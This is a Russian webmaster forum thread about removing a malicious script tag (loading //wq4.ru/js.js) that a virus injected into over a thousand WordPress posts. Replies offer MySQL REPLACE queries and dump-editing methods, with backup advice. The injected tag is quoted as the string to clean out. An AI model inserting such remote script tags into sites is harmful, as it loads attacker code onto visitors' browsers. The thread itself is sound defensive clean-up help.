X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

4 страниц V   1 2 3 4 >
Открыть тему
Тема закрыта
> Как удалить строчку из БД и не сломать сайт
duoseo
duoseo
Topic Starter сообщение 26.7.2015, 12:56; Ответить: duoseo
Сообщение #1


Коллеги, подскажите, как корректно удалить повторяющуюся запись вида "<script type="text/javascript" src="//wq4.ru/js.js"></script>" из БД MYSQL?

Через PHPMyAdmin нашлось 1046 совпадений в таблице wp_posts, если щелкую "удалить совпадения", удаляется, но на сайте остается 5 статей, вместо 1050 статей.

Сайт на WP.


Поблагодарили: (2)
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
HillClimb
HillClimb
сообщение 26.7.2015, 13:18; Ответить: HillClimb
Сообщение #2


duoseo, у вас этот текст в отдельном поле у каждой ститьи? или среди прочего контента в таблице wp_posts ячейки post_content?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
duoseo
duoseo
Topic Starter сообщение 26.7.2015, 13:20; Ответить: duoseo
Сообщение #3


HillClimb, среди прочего контента (внутри текста статьи). Это последствия вируса, внутри статей прописалась вот эта строчка. На серче активно обсуждали в мае-июне, а меня сегодня зацепило на одном сайте
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
HillClimb
HillClimb
сообщение 26.7.2015, 13:31; Ответить: HillClimb
Сообщение #4


SpaceX точно! ^_^

duoseo
Код
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`, '<script type="text/javascript" src="//wq4.ru/js.js"></script>', '') where`post_content` like '%<script type="text/javascript" src="//wq4.ru/js.js"></script>%'

такое вроде как для Вас!

Сообщение отредактировал HillClimb - 26.7.2015, 13:42


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SpaceX
SpaceX
сообщение 26.7.2015, 13:33; Ответить: SpaceX
Сообщение #5


рукалицо... ф-я MySQL replace() на что?
курите мануал...


UPD..
должно быть как-то так.. перед тем как выполнить сделайте бекап и поправьте префикс wp_ если у вас другой..
UPDATE `wp_posts` SET `post_content`=REPLACE(`post_content`, '<script type="text/javascript" src="//wq4.ru/js.js"></script>', '');

Сообщение отредактировал SpaceX - 26.7.2015, 13:42


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kagtus
kagtus
сообщение 26.7.2015, 14:10; Ответить: kagtus
Сообщение #6


не проще сделать дамп, на локалке почистить (notepad++ в помощь), затем залить обратно?


--------------------
ася 45два48499два
удалю вирусы, помогу с сайтом ->отзывы ТУТ и ТАМ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Sev_free
Sev_free
сообщение 26.7.2015, 14:36; Ответить: Sev_free
Сообщение #7


duoseo, Рассказываю свой способ борьбы с этими лажами. Качаете программу sublimetext(она бесплатна), потом делаете полный дамп базы, открываете через sublime дамп и жмете заменить <script type="text/javascript" src="//wq4.ru/js.js"> на пробел. все заливаете дамп обратно = профит .


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
x64
x64
сообщение 26.7.2015, 15:38; Ответить: x64
Сообщение #8


HillClimb, дополнительный поиск — лишнее, можно без WHERE-части.
SpaceX, не все же знают SQL.
kagtus, Sev_free, ребят молодцы, лёгких путей не ищут :D
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SpaceX
SpaceX
сообщение 26.7.2015, 16:36; Ответить: SpaceX
Сообщение #9


x64, для незнающих, в ЛС я указал путь решения либо сделать самому за копеечку :spiteful:

но т.к. тему полностью разжевали, плакали мои пару гринка :zloy:


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kagtus
kagtus
сообщение 26.7.2015, 19:04; Ответить: kagtus
Сообщение #10


x64, чтобы сарказм оказался уместным, вопрос - вы на сможете написать этот sql-запрос с первого раза, нигде не ошибившись и быть на 100% уверенным, что ничего лишнего не потерли? :popcorn1:
естественно вы ответите "да", поэтому спорить об этих мелочах не будем, вы гуру ;)

Замечание модератора:
Хорошо, убедили.
У БД Ctrl-Z не предусмотрен.


Сообщение отредактировал x64 - 26.7.2015, 21:17


--------------------
ася 45два48499два
удалю вирусы, помогу с сайтом ->отзывы ТУТ и ТАМ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
4 страниц V   1 2 3 4 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Будет ли склейка сайтов если старый телефон перенести на новый сайт?
1 noviktamw 371 Вчера, 18:31
автор: malamut
Открытая тема (нет новых ответов) Как в пушсетках покупают по 100-200 тысяч кликов за день?
2 Boymaster 689 Вчера, 17:52
автор: Boymaster
Горячая тема (нет новых ответов) Ваш сайт блокирует Роскомнадзор?
29 hollywooduk 6017 Вчера, 11:21
автор: hollywooduk
Горячая тема (нет новых ответов) Как вы отдыхаете от работы за компом
151 adw-kupon.ru 19854 23.4.2024, 13:52
автор: Vmir
Открытая тема (нет новых ответов) Как вы бросили работу и перешли на заработок с сайтов?
20 uahomka 3467 23.4.2024, 11:54
автор: Skyworker


 



RSS Текстовая версия Сейчас: 25.4.2024, 8:57
Дизайн